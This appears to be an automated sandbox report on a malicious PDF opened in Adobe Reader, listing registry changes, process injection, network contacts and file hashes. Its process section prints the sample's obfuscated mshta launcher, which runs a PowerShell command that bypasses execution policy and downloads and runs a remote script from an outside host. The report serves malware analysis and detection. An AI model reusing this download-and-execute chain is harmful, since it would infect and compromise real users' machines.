"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\08270f88cc3fd413d6eb29852599e9599362da87b8ba2b29196f3f1f76baf1fc.pdf"

Signatures

Legitimate hosting services abused for malware hosting/C2

Description	Indicator	Process	Target
N/A	cloudflare-ipfs.com	N/A	N/A
N/A	cloudflare-ipfs.com	N/A	N/A
N/A	cloudflare-ipfs.com	N/A	N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e036a1283ab3da01	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "423308367"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLs\url3 = "https://login.aliexpress.com/"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\LowRegistry	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\SearchScopes	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\IntelliForms	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\PageSetup	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Zoom	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Toolbar	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000760f6fb6d7365248881a38bcea68cf8b00000000020000000000106600000001000020000000d9811630507a37204129f2c8f2ce91736ace6b52d2849cc1c3fbf1ed9eb4d896000000000e80000000020000200000009bcb4c0fcd4474c506d276ba321000730e04323d221d54e85862bca7c436e0cf20000000377ae1f08239008086b5c4d62b511ba70de1f591dc58cc0ee4a393b6a00002f240000000bd9bd0f635f7f7aba025634e2848194c0ecc41f8d5abccf9eb76f8aa53e7494187f6dc85e14ca6da9642f1e24680008ac0be35d9a3f6fad915c7df7af990d69a	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLsTime	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url1 = 00173b433ab3da01	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url3 = 0000000000000000	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url2 = 0000000000000000	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\InternetRegistry	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000760f6fb6d7365248881a38bcea68cf8b00000000020000000000106600000001000020000000a80c137dc90b5c20395342eb20f1f5645ad2a44c0f40deb673c9aac54e7fbc3e000000000e8000000002000020000000a6e3b7de50d3a8a1eab7500f4c530ccf9b7ad6c776fd538a378dc27ca948316790000000ddea55639388ed646588cbd7ad3b4378b5984446bec295e1c80c3f3bf663a611b9a6a2a5492b4259bbf43314219b31cb7396e05fcd79fe96ee8c520f51f63c065b5c0c64cd7fbe34302fa75acd430c92431de331644c2338b8ed36f6b68420f242f7ba83af6a7305f3920d7bfc779e49084c672f26c6f7dd9df7fbe3b55616f109f38be3f5a1294449bb32f2ef543cc94000000073d2f00da8d78207c6e791877d1dbb949e57ef249278256e852ae3c1990bddf624fc4b7d39e1fa3bd0eafe7731cc3acb6a053b21c5b11b6d091837bb7d2348b8	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLs\url6 = "https://twitter.com/"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main	C:\Windows\SysWOW64\mshta.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLs\url2 = "https://www.facebook.com/"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLs\url4 = "https://signin.ebay.com/ws/ebayisapi.dll"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLs\url1 = "https://ipfs.io/ipfs/QmXZjX2ePjYHyAtntZoAW7heeNXZ9SR2N8gE83Md6sCHah"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLs	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLs\url5 = "https://login.live.com/"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url5 = 0000000000000000	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\GPU	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{53393C41-1F2D-11EF-91CF-DEECE6B0C1A4} = "0"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url4 = 0000000000000000	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (data)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TypedURLsTime\url6 = 0000000000000000	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	C:\Program Files\Internet Explorer\iexplore.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	C:\Program Files\Internet Explorer\iexplore.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files\Internet Explorer\iexplore.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files\Internet Explorer\iexplore.exe	N/A
N/A	N/A	C:\Program Files\Internet Explorer\iexplore.exe	N/A
N/A	N/A	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE	N/A
N/A	N/A	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE	N/A
N/A	N/A	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE	N/A
N/A	N/A	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1776 wrote to memory of 2260	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Windows\SysWOW64\mshta.exe
PID 1776 wrote to memory of 2260	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Windows\SysWOW64\mshta.exe
PID 1776 wrote to memory of 2260	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Windows\SysWOW64\mshta.exe
PID 1776 wrote to memory of 2260	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Windows\SysWOW64\mshta.exe
PID 1776 wrote to memory of 2880	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Program Files\Internet Explorer\iexplore.exe
PID 1776 wrote to memory of 2880	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Program Files\Internet Explorer\iexplore.exe
PID 1776 wrote to memory of 2880	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Program Files\Internet Explorer\iexplore.exe
PID 1776 wrote to memory of 2880	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	C:\Program Files\Internet Explorer\iexplore.exe
PID 2260 wrote to memory of 2544	N/A	C:\Windows\SysWOW64\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2260 wrote to memory of 2544	N/A	C:\Windows\SysWOW64\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2260 wrote to memory of 2544	N/A	C:\Windows\SysWOW64\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2260 wrote to memory of 2544	N/A	C:\Windows\SysWOW64\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2880 wrote to memory of 2572	N/A	C:\Program Files\Internet Explorer\iexplore.exe	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2880 wrote to memory of 2572	N/A	C:\Program Files\Internet Explorer\iexplore.exe	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2880 wrote to memory of 2572	N/A	C:\Program Files\Internet Explorer\iexplore.exe	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2880 wrote to memory of 2572	N/A	C:\Program Files\Internet Explorer\iexplore.exe	C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\08270f88cc3fd413d6eb29852599e9599362da87b8ba2b29196f3f1f76baf1fc.pdf"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\System32\mshta.exe" "javascript:_r°0=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm minemaincap6-1-24.blogspot.com////////////////hohoiii | iex);Start-Sleep -Seconds 5;','run']; x°x=[_r°0[3],_r°0[0],_r°0[1],_r°0[2]]; new ActiveXObject(x°x[2])[x°x[0]](x°x[3], 0, true);close();new ActiveXObject(x°x[1]).DeleteFile(WScript.ScriptFullName);"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://cloudflare-ipfs.com/ipfs/QmXZjX2ePjYHyAtntZoAW7heeNXZ9SR2N8gE83Md6sCHah

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm minemaincap6-1-24.blogspot.com////////////////hohoiii | iex);Start-Sleep -Seconds 5;

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2880 CREDAT:275457 /prefetch:2

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	cloudflare-ipfs.com	udp
US	104.17.64.14:443	cloudflare-ipfs.com	tcp
US	104.17.64.14:443	cloudflare-ipfs.com	tcp
US	8.8.8.8:53	apps.identrust.com	udp
US	8.8.8.8:53	apps.identrust.com	udp
BE	23.14.90.73:80	apps.identrust.com	tcp
BE	23.14.90.73:80	apps.identrust.com	tcp
US	8.8.8.8:53	x2.c.lencr.org	udp
US	8.8.8.8:53	x2.c.lencr.org	udp
BE	23.55.97.11:80	x2.c.lencr.org	tcp
BE	23.55.97.11:80	x2.c.lencr.org	tcp
US	8.8.8.8:53	ipfs.io	udp
US	209.94.90.1:443	ipfs.io	tcp
US	209.94.90.1:443	ipfs.io	tcp
US	8.8.8.8:53	cdnjs.cloudflare.com	udp
US	104.17.24.14:443	cdnjs.cloudflare.com	tcp
US	104.17.24.14:443	cdnjs.cloudflare.com	tcp
US	8.8.8.8:53	ipfs.tech	udp
NL	84.17.46.53:443	ipfs.tech	tcp
NL	84.17.46.53:443	ipfs.tech	tcp
US	204.79.197.200:443	ieonline.microsoft.com	tcp
US	204.79.197.200:443	ieonline.microsoft.com	tcp
US	204.79.197.200:443	ieonline.microsoft.com	tcp
US	8.8.8.8:53	api.bing.com	udp

Files

C:\Users\Admin\AppData\Local\Temp\CabB03E.tmp

MD5	29f65ba8e88c063813cc50a4ea544e93
SHA1	05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256	1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512	e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5	49aebf8cbd62d92ac215b2923fb1b9f5
SHA1	1723be06719828dda65ad804298d0431f6aff976
SHA256	b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512	bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	260cd36c007a3b4082213383aa898777
SHA1	c130d173087f8728510beb70da443e236225abaf
SHA256	61ff4ada72dc4fa16ccfeee148b7b192ba030ebcca5c07b5a15b6228b95dcb3d
SHA512	96be3aadb64df69e66b52fb753c5c7085076b4aa07667826fc5ce3639d1a62972bde4bf34c9a58c37f7a10bfa2b974166e12bfa062d9ce1b769630cdfc38004e

C:\Users\Admin\AppData\Local\Temp\TarB0D2.tmp

MD5	4ea6026cf93ec6338144661bf1202cd1
SHA1	a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256	8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512	6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	509fcd0aadfcbbaeca3353a7edb59b57
SHA1	95123609089220241657d29af250cb4ffe45db2b
SHA256	064f17cb14d990a1785ca3ba9c7d6f5aa6e4846c66d401b68c4f7a526edc1514
SHA512	2888ab26f8358890efbd16ea5d6e4b6efe520dc23af86337e2e9ffbba567cc3c7a7dbcb5086dcc01896fe0be1dea917412e955cc82b89343b1ee4363ebfa9134

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	e372f8df8e616f1c85d09e812b460460
SHA1	62e3833c46b46ac762b4f2002a5a01f6674ad4ea
SHA256	b21322b16badbf621f5eff741d75aca68065b0a0ed7789c5530d54e50f9b0635
SHA512	b35d2d599d01cdf076528e69e99acd6ba1901b0e92e1d14ac6c5943ba515b94ae52b044f60a82b7743c5c197761993e3993cd904ed70b38cd685e31fbb473c90

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	a5a84f52153068fc7e853451ba83b1c1
SHA1	c64c6e051c9e36f3f05e1279b1fd5983c2fe8ef0
SHA256	eac7926a1bfedc09803c849b916a01ccc469e3bea40e900493c63b963855661f
SHA512	119efa64ef260bd1a18090350e9bd97c9b4d6be6f622b22daf05fcff67c2a89181d9e2d9c3648e4aa46da9d62a362a6eae9d744ecb7c56a3f1ea4c1ce3381361

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MEFTDE7Q\favicon[2].ico

MD5	ea7d143efe3c01de298f9f1130e8bce5
SHA1	4672164fab3870dd901034abcf3d35998ac94dbe
SHA256	94a9fefbbe42310c03ff1e52c1f753c21038805f632867ea78930a52c445a456
SHA512	b9b76ee9964e836ea720828e77952e89ecc318d55ef5107f89c11f666c1bc0742d1bdbad0bc1cad853d93d1e150664056705ba3688544220759e9f4977800a8d

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\q7my5tn\imagestore.dat

MD5	5a5f1174b1f77342ea6ff72c7c90385a
SHA1	3c262784fb46e51c8a7b5fbe4a7b50fc02ff806b
SHA256	995690f3954e1f85031ede2dbff9fb95f8e75a50c5fd46580b8bd31275c25433
SHA512	90ae51e6bfeef973d261f36f84658bd89ef0922fbeee2d7d656b9d2688d5c97d13666b4f8ad45909ae46ed725e53b3d2cb4cdd8c0879672a1089865751f3dbda

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	818b88fc3ec5f42e2f742b43a496110f
SHA1	5c49fe122b1f2d05c14066ac88429c44a6ace04f
SHA256	fdee72319407be86b8e0b86bb9bc2754a399bc523c09097b3f9939cc6ddb39c2
SHA512	6247bc5250693751dc1c81064430c501f2e699549c3061dbbf66b46e5ce77826e6b338f092c61ed34c5538552ebb52832e28a4a5fe3c3fb406d2cb396b84fb49

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	9c68b228b440aec22910f17e7e734547
SHA1	b7f6043cdd9ec36ec23332452da2745da9923e49
SHA256	d01fb09f408da0c8f4e43ca00f9adea9fcff76ba2aae4cd46343b17a0d18fd3a
SHA512	b56e9ca5fde4fc07fb357b806b2c50fe0f4e644c471a7e867f0081e474e7508085243f79ab616f5c6bbed5a77a90fb42617bf847744f9f657bdf4a8dbedcd076

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	53c11e87028633941d4775f75812b149
SHA1	ad9e1ce767a4aa9da5a02a45cc1d63d7f87d6430
SHA256	dae48a572fd7af070f5880e39c69c1d5f87e6369fc5819fccaba94d900079f3f
SHA512	6c4a00aabaa6e1fbda447eb4bf0ea935dd84adf044e515a065bfe6c1fa41a2765bd3ea6df92e72e9ef0dc1495dc220ee872269710b3afd6dde16d0beb17198b3

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	0076a938416272d36a3acafbf0f6b405
SHA1	527888f98081fccd50f558f56beb2b4d77b6df18
SHA256	1852ad2e91c7c69bcf132adad6ff6cd0d04d481718aaf9db7d41f6ab8e0def6c
SHA512	f13f8df3a0644c14bf161c4fc72c07f34df8f486e06ac68a32702ef02f847689ea32b2d70814eb432197caf7cf9d43bdf5988345ad050219eb3c4cc586317bec

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	ebe4d7aede1dd4d695d085ffdcfe2ec2
SHA1	a7af40ecf34e983f1b7f4a25099b88682a2001b9
SHA256	e8eea2855cf80637ef28cfa54270fcda78d7f1ade4f5ac216b8b77ee25654d41
SHA512	08188bd3af049437916f43228400a3400478a3fc75ac6ad937911208fc8259df1ada76a79860f8a252039d648b2b9d291e1398b82d7d8bcb3c18e918fdf471e9

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	4582480f96c51292d6fde7c3327c8f23
SHA1	17149b410dbc3676b682b85757a0e9a787129351
SHA256	1162584534b934f0f618f6053cf33e76aca4b630025e3ea1e5cebdeda84b26d0
SHA512	2826b105179443a3fd7db4e3a15daf522ed4f524fbe2b40a126350d48f27c249eabe4647e5d450c4bf603572d6222bfefd5e2218cb68b9b1009f8c26e21da0f2

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	000d1078353074bb2a39da900a53c743
SHA1	73aabf76c4910fc0593194e7af404f5d065d482d
SHA256	8bd89b4f77ea153f242a66378b73ee2c8420d720149bcc0886d4b100e32bce3c
SHA512	94a8efd2efa9a890b8554a8b2b882566e487646c1ebcecd664db97be777a74f7cfe342ca410dc0079a56615024b172617eeb1366806ec0be2f41c589bd6de05d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	f4797205d91c35bff574817973c57227
SHA1	1089afd3929522a53c3cabaa17b7023560260474
SHA256	72f340c840ce9cc701fec9b136a85576e31a24cdce7d95e696345bf5c2add2b8
SHA512	4f57a4048c610232c7d08b57ad24d16858e14e9767c0b01c75a51c25c7b37f7ac17466b5f38c7517b126b5b79a510e6d4bb67510085762189e424bc3a4057f52

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	6659702833890ce92d8641ba46adae93
SHA1	1827155ddbdcb00ef1a091146dfe2c609a5a2945
SHA256	7484f5270b0f255b28433fef067af7f1ed4094fa946c438bf4e6f1500768daff
SHA512	f5091ab9d75d618bb7c289498513b5d90672c59abf8ffb278af705d22db090623ce541fe24dd93cf6680899e1537850f86ca62dacca7fd27b3831eed85fbf102

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	2abcefe41d8579886c884d03258b3040
SHA1	c29875b848a9f1d73febb4a04933fadc13129181
SHA256	5697f64b190f0a3b018ed60ccf24680859a997c4a008f74d3329a1fa78cb4963
SHA512	90c2d19af0e24b48c3871e1e1b4cd3e2801fa4e7fb961caddf6273becedf208d706ef355924ae8989dcae1f061bdd54dfae32a9a3c09f2e2cda8eabf6c51eee5

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	d3b0cb4438338c6018ea906c2944462c
SHA1	e68cbda073c8fe83904f33092cd441c4166417c1
SHA256	60c3945291831a54985e26a453ba5b6efe060ebd365fc12ce2c7e27d4e749b0a
SHA512	67101c491643d25947ed001eed539741b22cddc2f7b12ab0087da03b21c2cfdf2be9024b32f1cb91b3d8138de65176e9ce1e5ebabd68c2f92816b2b79dae9879

